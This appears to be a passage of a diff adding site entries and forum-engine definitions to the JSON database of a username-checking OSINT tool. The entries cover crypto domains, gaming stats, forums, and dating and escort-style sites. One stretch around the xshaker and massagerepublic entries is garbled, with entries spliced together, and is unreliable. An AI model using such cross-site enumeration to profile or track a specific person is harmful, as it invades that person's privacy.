], + "url": "https://api.edns.domains/domain/lookup/{username}.meta", + "urlMain": "https://api.edns.domains", + "usernameClaimed": "everlast88", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ], + "disabled": true + }, + "edns.domains/music": { + "absenceStrs": [ + "\"available\":true" + ], + "presenseStrs": [ + "PURCHASED_BY_OTHER" + ], + "url": "https://api.edns.domains/domain/lookup/{username}.music", + "urlMain": "https://api.edns.domains", + "usernameClaimed": "everlast88", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ], + "disabled": true + }, + "edns.domains/ass": { + "absenceStrs": [ + "\"available\":true" + ], + "presenseStrs": [ + "PURCHASED_BY_OTHER" + ], + "url": "https://api.edns.domains/domain/lookup/{username}.ass", + "urlMain": "https://api.edns.domains", + "usernameClaimed": "everlast88", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ], + "disabled": true + }, + "edns.domains/404": { + "absenceStrs": [ + "\"available\":true" + ], + "presenseStrs": [ + "PURCHASED_BY_OTHER" + ], + "url": "https://api.edns.domains/domain/lookup/{username}.404", + "urlMain": "https://api.edns.domains", + "usernameClaimed": "everlast88", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ], + "disabled": true + }, + "edns.domains/sandbox": { + "absenceStrs": [ + "\"available\":true" + ], + "presenseStrs": [ + "PURCHASED_BY_OTHER" + ], + "url": "https://api.edns.domains/domain/lookup/{username}.sandbox", + "urlMain": "https://api.edns.domains", + "usernameClaimed": "everlast88", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ], + "disabled": true + }, + "edns.domains/web3": { + "absenceStrs": [ + "\"available\":true" + ], + "presenseStrs": [ + "PURCHASED_BY_OTHER" + ], + "url": "https://api.edns.domains/domain/lookup/{username}.web3", + "urlMain": "https://api.edns.domains", + "usernameClaimed": "everlast88", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ], + "disabled": true + }, + "edns.domains/gamefi": { + "absenceStrs": [ + "\"available\":true" + ], + "presenseStrs": [ + "PURCHASED_BY_OTHER" + ], + "url": "https://api.edns.domains/domain/lookup/{username}.gamefi", + "urlMain": "https://api.edns.domains", + "usernameClaimed": "everlast88", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ], + "disabled": true + }, + "edns.domains/iotex": { + "absenceStrs": [ + "\"available\":true" + ], + "presenseStrs": [ + "PURCHASED_BY_OTHER" + ], + "url": "https://api.edns.domains/domain/lookup/{username}.iotex", + "urlMain": "https://api.edns.domains", + "usernameClaimed": "everlast88", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "peername.com/bit": { + "presenseStrs": [ + "<name>" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0", + "Origin": "https://peername.com", + "Referer": "https://peername.com" + }, + "url": "https://peername.net/api/?name={username}&namespace=bit", + "urlMain": "https://peername.com/", + "usernameClaimed": "everlast", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "peername.com/coin": { + "presenseStrs": [ + "<name>" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0", + "Origin": "https://peername.com", + "Referer": "https://peername.com" + }, + "url": "https://peername.net/api/?name={username}&namespace=coin", + "urlMain": "https://peername.com/", + "usernameClaimed": "everlast", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "peername.com/onion": { + "presenseStrs": [ + "<name>" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0", + "Origin": "https://peername.com", + "Referer": "https://peername.com" + }, + "url": "https://peername.net/api/?name={username}&namespace=onion", + "urlMain": "https://peername.com/", + "usernameClaimed": "everlast", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "peername.com/bazar": { + "presenseStrs": [ + "<name>" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0", + "Origin": "https://peername.com", + "Referer": "https://peername.com" + }, + "url": "https://peername.net/api/?name={username}&namespace=bazar", + "urlMain": "https://peername.com/", + "usernameClaimed": "everlast", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "peername.com/lib": { + "presenseStrs": [ + "<name>" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0", + "Origin": "https://peername.com", + "Referer": "https://peername.com" + }, + "url": "https://peername.net/api/?name={username}&namespace=lib", + "urlMain": "https://peername.com/", + "usernameClaimed": "everlast", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "peername.com/emc": { + "presenseStrs": [ + "<name>" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0", + "Origin": "https://peername.com", + "Referer": "https://peername.com" + }, + "url": "https://peername.net/api/?name={username}&namespace=emv", + "urlMain": "https://peername.com/", + "usernameClaimed": "everlast", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "peername.com/tor": { + "presenseStrs": [ + "<name>" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0", + "Origin": "https://peername.com", + "Referer": "https://peername.com" + }, + "url": "https://peername.net/api/?name={username}&namespace=tor", + "urlMain": "https://peername.com/", + "usernameClaimed": "everlast", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "PromptBase": { + "absenceStrs": [ + "NotFound" + ], + "presenseStrs": [ + "1" + ], + "url": "https://promptbase.com/profile/{username}", + "urlMain": "https://promptbase.com", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "ai" + ] + }, + "ngl.link": { + "absenceStrs": [ + "Could not find user" + ], + "presenseStrs": [ + "1" + ], + "url": "https://ngl.link/{username}", + "urlMain": "https://ngl.link", + "usernameClaimed": "youbutdumberr", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "q&a" + ] + }, + "bitpapa.com": { + "absenceStrs": [ + "/static/page-crash.svg" + ], + "presenseStrs": [ + "lbcUsername" + ], + "url": "https://bitpapa.com/ru/user/{username}", + "urlMain": "https://bitpapa.com", + "usernameClaimed": "Larisa70", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "sst.hiberworld.com": { + "checkType": "message", + "absenceStrs": [ + "User not found" + ], + "presenceStrs": [ + "email", + "birthdate", + "role", + "Profile Image", + "User" + ], + "url": "https://sst.hiberworld.com/user/{username}", + "urlMain": "https://sst.hiberworld.com/user/{username}", + "usernameClaimed": "pixelpwnz", + "usernameUnclaimed": "foxefwvigz" + }, + "DeepDreamGenerator": { + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "presenseStrs": [ + "user-name", + "profile-cover", + "user-info" + ], + "url": "https://deepdreamgenerator.com/u/{username}", + "urlMain": "https://deepdreamgenerator.com", + "usernameClaimed": "sparkles99", + "usernameUnclaimed": "lyazybfqoh" + }, + "PeriscopeTv": { + "checkType": "message", + "absenceStrs": [ + "error-fill" + ], + "presenseStrs": [ + "profile", + "ProfileAuthor", + "ProfileUsername" + ], + "url": "https://www.pscp.tv/{username}", + "urlMain": "https://www.pscp.tv", + "usernameClaimed": "moonlitraven", + "usernameUnclaimed": "higfjqmiez" + }, + "fanscout.com": { + "checkType": "message", + "absenceStrs": [ + "This page is under construction" + ], + "presenseStrs": [ + "birthday cake" + ], + "url": "https://fanscout.com/{username}", + "urlMain": "https://fanscout.com", + "usernameClaimed": "moonlitraven", + "usernameUnclaimed": "sicuoozvul" + }, + "app.samsungfood.com": { + "checkType": "message", + "absenceStrs": [ + ">User not found</h1></div>" + ], + "presenseStrs": [ + "alternateName", + "totalTime" + ], + "url": "https://app.samsungfood.com/u/{username}", + "urlMain": "https://app.samsungfood.com", + "usernameClaimed": "moonlitraven", + "usernameUnclaimed": "onpigjbowo" + }, + "DimensionalMe": { + "checkType": "message", + "absenceStrs": [ + "error_main_" + ], + "presenseStrs": [ + "userName", + "publicProfile" + ], + "url": "https://www.dimensional.me/{username}", + "urlMain": "https://www.dimensional.me", + "usernameClaimed": "sparkles99", + "usernameUnclaimed": "hbtybxpuon" + }, + "www.portal-pisarski.pl": { + "checkType": "message", + "absenceStrs": [ + "obrazki/404.png" + ], + "presenseStrs": [ + "profil/" + ], + "url": "https://www.portal-pisarski.pl/profil/{username}", + "urlMain": "https://www.portal-pisarski.pl", + "usernameClaimed": "sparkles99", + "usernameUnclaimed": "hlwifvxnqw" + }, + "www.dateamillionaire.com": { + "checkType": "message", + "absenceStrs": [ + "input[name=" + ], + "presenseStrs": [ + "patch_fill profile_box" + ], + "url": "https://www.dateamillionaire.com/members/{username}", + "urlMain": "https://www.dateamillionaire.com", + "usernameClaimed": "pixie23", + "usernameUnclaimed": "vmvasupgog" + }, + "www.stopstalk.com": { + "checkType": "message", + "absenceStrs": [ + "pupil", + "my-owlie", + "/user/custom_friend", + "owl", + "beak" + ], + "presenseStrs": [ + "<html>", + " <body>", + "><tbody>", + "uva-profile-url", + " <style>" + ], + "url": "https://www.stopstalk.com/user/profile/{username}", + "urlMain": "https://www.stopstalk.com", + "usernameClaimed": "sunny2000", + "usernameUnclaimed": "vgjxobkpsp" + }, + "www.polywork.com": { + "checkType": "message", + "absenceStrs": [ + ">404</h3>", + "ml-1", + "twitter:site", + "/users/sign_in", + " data-toggle=" + ], + "presenseStrs": [ + "</style>", + "profile-name", + "profile_display_name", + "profile-username", + "active" + ], + "url": "https://www.polywork.com/{username}", + "urlMain": "https://www.polywork.com", + "usernameClaimed": "zoey123", + "usernameUnclaimed": "timhhdgent" + }, + "oshwlab.com": { + "checkType": "message", + "absenceStrs": [ + "<body>", + "error-wrap", + "error-part", + "btn-blue", + " <title>error" + ], + "presenseStrs": [ + "profile", + " style=", + " title=", + "Twitter", + "profile-header" + ], + "url": "https://oshwlab.com/{username}", + "urlMain": "https://oshwlab.com", + "usernameClaimed": "zoey123", + "usernameUnclaimed": "uckupswapv" + }, + "www.xshaker.net": { + "checkType": "message", + "absenceStrs": [ + "/tube/txxxtv.html" + ], + "presenseStrs": [ + "og:title", + "serve", + "og:type", + "/>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438 \u0432\u0438\u0434\u0435\u043e\u0447\u0430\u0442 \u0434\u0440\u0443\u0433\u0438\u0445 \u043c\u043e\u0434\u0435\u043b\u0435\u0439.
", + ">\t

404 Page Not Found

\r", + "404 Page Not Found\r", + "info-page ibox", + "\t\t

Or maybe the Were you looking for the The username ", + " could not be found.", + "standardpage", + "redirect-message", + "section-body alignleft" + ], + "presenseStrs": [ + "og:title", + "display:flex", + "user-title", + " />\r" + ], + "presenseStrs": [ + " ", + "replaceState", + "

404 - Page not found

" + ], + "presenseStrs": [ + " title=", + " style=", + "og:title", + "page-title", + "female" + ], + "url": "https://massagerepublic.com/u/{username}", + "urlMain": "https://massagerepublic.com", + "usernameClaimed": "lily88", + "usernameUnclaimed": "xzhsxfyfzi" + }, + "mynickname.com": { + "checkType": "message", + "absenceStrs": [ + "

Error 404: Page not found

", + "Nickname , certificate for username ", + "btn green", + "mailto:info@mynickname.com", + ">Register nickname

" + ], + "presenseStrs": [ + " title=", + "bold", + "title-line", + "codehtml", + "User offline" + ], + "url": "https://mynickname.com/{username}", + "urlMain": "https://mynickname.com", + "usernameClaimed": "godbrithil", + "usernameUnclaimed": "fqiakbtdhu" + }, + "Substack": { + "absenceStrs": [ + "Found. Redirecting to" + ], + "presenseStrs": [ + "profile\\" + ], + "url": "https://substack.com/@{username}", + "urlMain": "https://substack.com", + "usernameClaimed": "user23", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "blog" + ] + }, + "OP.GG [LeagueOfLegends] Brazil": { + "tags": [ + "br", + "gaming" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=br", + "usernameClaimed": "Blaze51", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] North America": { + "tags": [ + "gaming" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=na", + "usernameClaimed": "Blaze51", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Middle East": { + "tags": [ + "gaming" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=me", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Europe Nordic & East": { + "tags": [ + "gaming" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=eune", + "usernameClaimed": "Blaze51", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Europe West": { + "tags": [ + "gaming" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=euw", + "usernameClaimed": "Blaze51", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Oceania": { + "tags": [ + "gaming" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=oce", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Korea": { + "tags": [ + "gaming", + "kr" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=kr", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Japan": { + "tags": [ + "gaming", + "jp" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=jp", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] LAS": { + "tags": [ + "gaming" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=las", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] LAN": { + "tags": [ + "gaming" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=lan", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Russia": { + "tags": [ + "gaming", + "ru" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Turkey": { + "tags": [ + "gaming", + "tr" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=tr", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Singapore": { + "tags": [ + "gaming", + "sg" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=sg", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Phillippines": { + "tags": [ + "gaming", + "ph" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=ph", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Taiwan": { + "tags": [ + "gaming", + "tw" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=tw", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Vietnam": { + "tags": [ + "gaming", + "vn" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=vn", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Thailand": { + "tags": [ + "gaming", + "th" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=th", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [PUBG]": { + "tags": [ + "gaming" + ], + "checkType": "message", + "presenceStrs": [ + "userNickname" + ], + "absenceStrs": [ + "notFoundPlayer" + ], + "url": "https://pubg.op.gg/user/{username}", + "urlMain": "https://pubg.op.gg", + "usernameClaimed": "Kevin_CH", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "OP.GG [Valorant]": { + "tags": [ + "gaming" + ], + "presenceStrs": [ + "[{" + ], + "absenceStrs": [ + "[]" + ], + "checkType": "message", + "url": "https://valorant.op.gg/api/player/search?keyword={username}", + "urlMain": "https://valorant.op.gg", + "usernameClaimed": "rayquaza", + "usernameUnclaimed": "noonewouldeverusethis7", + "similarSearch": true, + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0", + "Accept": "application/json, text/plain, */*", + "Accept-Language": "en-US,en;q=0.5", + "Accept-Encoding": "gzip, deflate, br, zstd", + "Connection": "keep-alive", + "Referer": "https://valorant.op.gg/leaderboards", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "same-origin", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "TE": "trailers" + } + }, + "Eksisozluk": { + "absenceStrs": [ + "

b\u00f6yle bir yazar yok

\r" + ], + "presenseStrs": [ + "profile-dots", + "profile-logo", + "profile-cards", + "profile-biography", + " data-title=" + ], + "alexaRank": 977, + "url": "https://eksisozluk.com/biri/{username}", + "urlMain": "https://eksisozluk.com", + "usernameClaimed": "kartalbafilerrr", + "usernameUnclaimed": "rlcvuwlxqh", + "checkType": "message", + "tags": [ + "tr" + ] + }, + "write.as": { + "tags": [ + "writefreely" + ], + "checkType": "status_code", + "url": "https://write.as/{username}", + "urlMain": "https://write.as", + "usernameClaimed": "pylapp", + "usernameUnclaimed": "noonewouldeverusethis42" + } + }, + "engines": { + "XenForo": { + "name": "XenForo", + "site": { + "ignore403": true, + "absenceStrs": [ + "The requested page could not be found.", + "The specified member cannot be found. Please enter a member", + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0434\u0440\u0443\u0433\u043e\u0435 \u0438\u043c\u044f.", + "Le membre sp\u00e9cifi\u00e9 est introuvable. Veuillez saisir le nom complet d'un membre.", + "Belirtilen \u00fcye bulunamad\u0131. L\u00fctfen bir \u00fcyenin tam ad\u0131n\u0131 giriniz." + ], + "presenseStrs": [ + "\u0412\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u044b, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u044d\u0442\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0438\u043b\u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u044d\u0442\u0443 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443.", + "\u0414\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c, \u043d\u0443\u0436\u043d\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0432\u043e\u0439\u0442\u0438 \u043d\u0430 \u0444\u043e\u0440\u0443\u043c.", + "You must be logged-in to do that.", + "You must be logged in to do that.", + "memberHeader-content", + "profilePage" + ], + "checkType": "message", + "url": "{urlMain}{urlSubpath}/members/?username={username}" + }, + "presenseStrs": [ + "XenForo" + ] + }, + "phpBB/Search": { + "name": "phpBB/Search", + "site": { + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "presenseStrs": [ + "postprofile", + " username-coloured" + ], + "checkType": "message", + "url": "{urlMain}{urlSubpath}/search.php?author={username}" + }, + "presenseStrs": [ + "./memberlist.php?mode=viewprofile" + ] + }, + "phpBB": { + "name": "phpBB", + "site": { + "absenceStrs": [ + "No members found for this search criterion.", + "\u041d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f\u043c" + ], + "presenseStrs": [ + "You must be logged in to do that.", + "./memberlist.php?mode=viewprofile" + ], + "checkType": "message", + "url": "{urlMain}{urlSubpath}/memberlist.php?username={username}" + }, + "presenseStrs": [ + "phpBB" + ] + }, + "phpBB2/Search": { + "name": "phpBB2/Search", + "site": { + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + ], + "presenseStrs": [ + "\"postdetails" + ], + "checkType": "message", + "url": "{urlMain}{urlSubpath}/search.php?search_author={username}" + }, + "presenseStrs": [ + "phpBB 2.0" + ] + }, + "uCoz": { + "name": "uCoz", + "site": { + "absenceStrs": [ + "HTTP 404", + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "presenseStrs": [ + "udtlb\">\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c:</div>", + "\u0413\u043e\u0441\u0442\u044f\u043c \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443, \u043f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430 \u0432\u043e\u0439\u0434\u0438\u0442\u0435 \u043d\u0430 \u0441\u0430\u0439\u0442 \u043a\u0430\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c.", + "<center><b>\u041b\u0438\u0447\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435</b>", + "\u0413\u043e\u0441\u0442\u044f\u043c \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443, \u043f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u043e\u0439\u0434\u0438\u0442\u0435 \u043d\u0430 \u0441\u0430\u0439\u0442 \u043a\u0430\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c.", + "<img alt=\"\" name=\"rankimg\" border=\"0\" src=\"/.s/rnk/", + "\u0413\u043e\u0441\u0442\u044f\u043c \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.", + "profile-section-name", + "webo4ka_dannii", + "\u0414\u0430\u0442\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438" + ], + "checkType": "message", + "regexCheck": "^[^\\.]+$", + "url": "{urlMain}/index/8-0-{username}" + } + }, + "vBulletin": { + "name": "vBulletin", + "site": { + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430.", + "Bu \u00dcye kay\u0131tl\u0131 \u00dcyemiz de\u011fildir. Bu sebebten dolay\u0131 \u00dcyeye ait Profil g\u00f6sterilemiyor.", + "This user has not registered and therefore does not have a profile to view.", + "\u041a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0447 \u043d\u0435 \u0437\u0430\u0440\u0435\u0454\u0441\u0442\u0440\u043e\u0432\u0430\u043d\u0438\u0439 \u0456 \u043d\u0435 \u043c\u0430\u0454 \u043f\u0440\u043e\u0444\u0456\u043b\u044e, \u044f\u043a\u0438\u0439 \u043c\u043e\u0436\u043d\u0430 \u043f\u0435\u0440\u0435\u0433\u043b\u044f\u043d\u0443\u0442\u0438.", + "Deze gebruiker is niet geregistreerd, zodat je zijn of haar profiel niet kunt bekijken." + ], + "checkType": "message", + "errors": { + "\u041f\u0440\u043e\u0441\u0442\u0438\u0442\u0435, \u043d\u043e \u0432\u0430\u0448 IP \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043d\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0435\u0439 \u0444\u043e\u0440\u0443\u043c\u0430": "IP ban", + "You have been banned": "IP ban", + "The administrator has banned your IP address": "IP ban", + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u0435\u0440\u0435\u0433\u0440\u0443\u0436\u0435\u043d. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0437\u0430\u0439\u0442\u0438 \u043f\u043e\u0437\u0436\u0435.": "Server is overloaded" + }, + "url": "{urlMain}{urlSubpath}/member.php?username={username}" + }, + "presenseStrs": [ + "content=\"vBulletin " + ] + }, + "Discourse": { + "name": "Discourse", + "site": { + "presenseStrs": [ + "<meta name=\"generator\" content=\"Discourse" + ], + "absenceStrs": [ + "Oops! That page doesn\u2019t exist or is private.", + "wrap not-found-container" + ], + "checkType": "message", + "url": "{urlMain}/u/{username}/summary" + }, + "presenseStrs": [ + "<meta name=\"generator\" content=\"Discourse" + ] + }, + "Wordpress/Author": { + "name": "Wordpress/Author", + "site": { + "presenseStrs": [ + "author-", + "author/" + ], + "absenceStrs": [ + "error404" + ], + "checkType": "message", + "requestHeadOnly": false, + "url": "{urlMain}{urlSubpath}/author/{username}/" + }, + "presenseStrs": [ + "/wp-admin", + "/wp-includes/wlwmanifest.xml" + ] + }, + "Flarum": { + "name": "Flarum", + "site": { + "presenseStrs": [ + "\"attributes\":{\"username\"" + ], + "absenceStrs": [ + "NotFound" + ], + "checkType": "message", + "url": "{urlMain}/u/{username}" + }, + "presenseStrs": [ + "flarum-loading-error" + ] + }, + "engine404": { + "name": "engine404", + "site": { + "checkType": "status_code" + } + }, + "engineRedirect": { + "name": "engineRedirect", + "site": { + "checkType": "response_url" + } + }, + "engine404get": { + "name": "engine404get", + "site": { + "checkType": "status_code", + "requestHeadOnly": false + } + }, + "engine404message": { + "name": "engine404message", + "site": { + "checkType": "message", + "absenceStrs": [ + "404" + ] + } + }, + "op.gg": { + "name": "op.gg", + "site": { + "checkType": "message", + "presenseStrs": [ + "This is the search result for the summoner", + "- Summoner Stats - " + ], + "absenceStrs": [ + "<h1>No search results for" + ], + "urlMain": "https://www.op.gg/", + "alexaRank": 331 + } + } + }, + 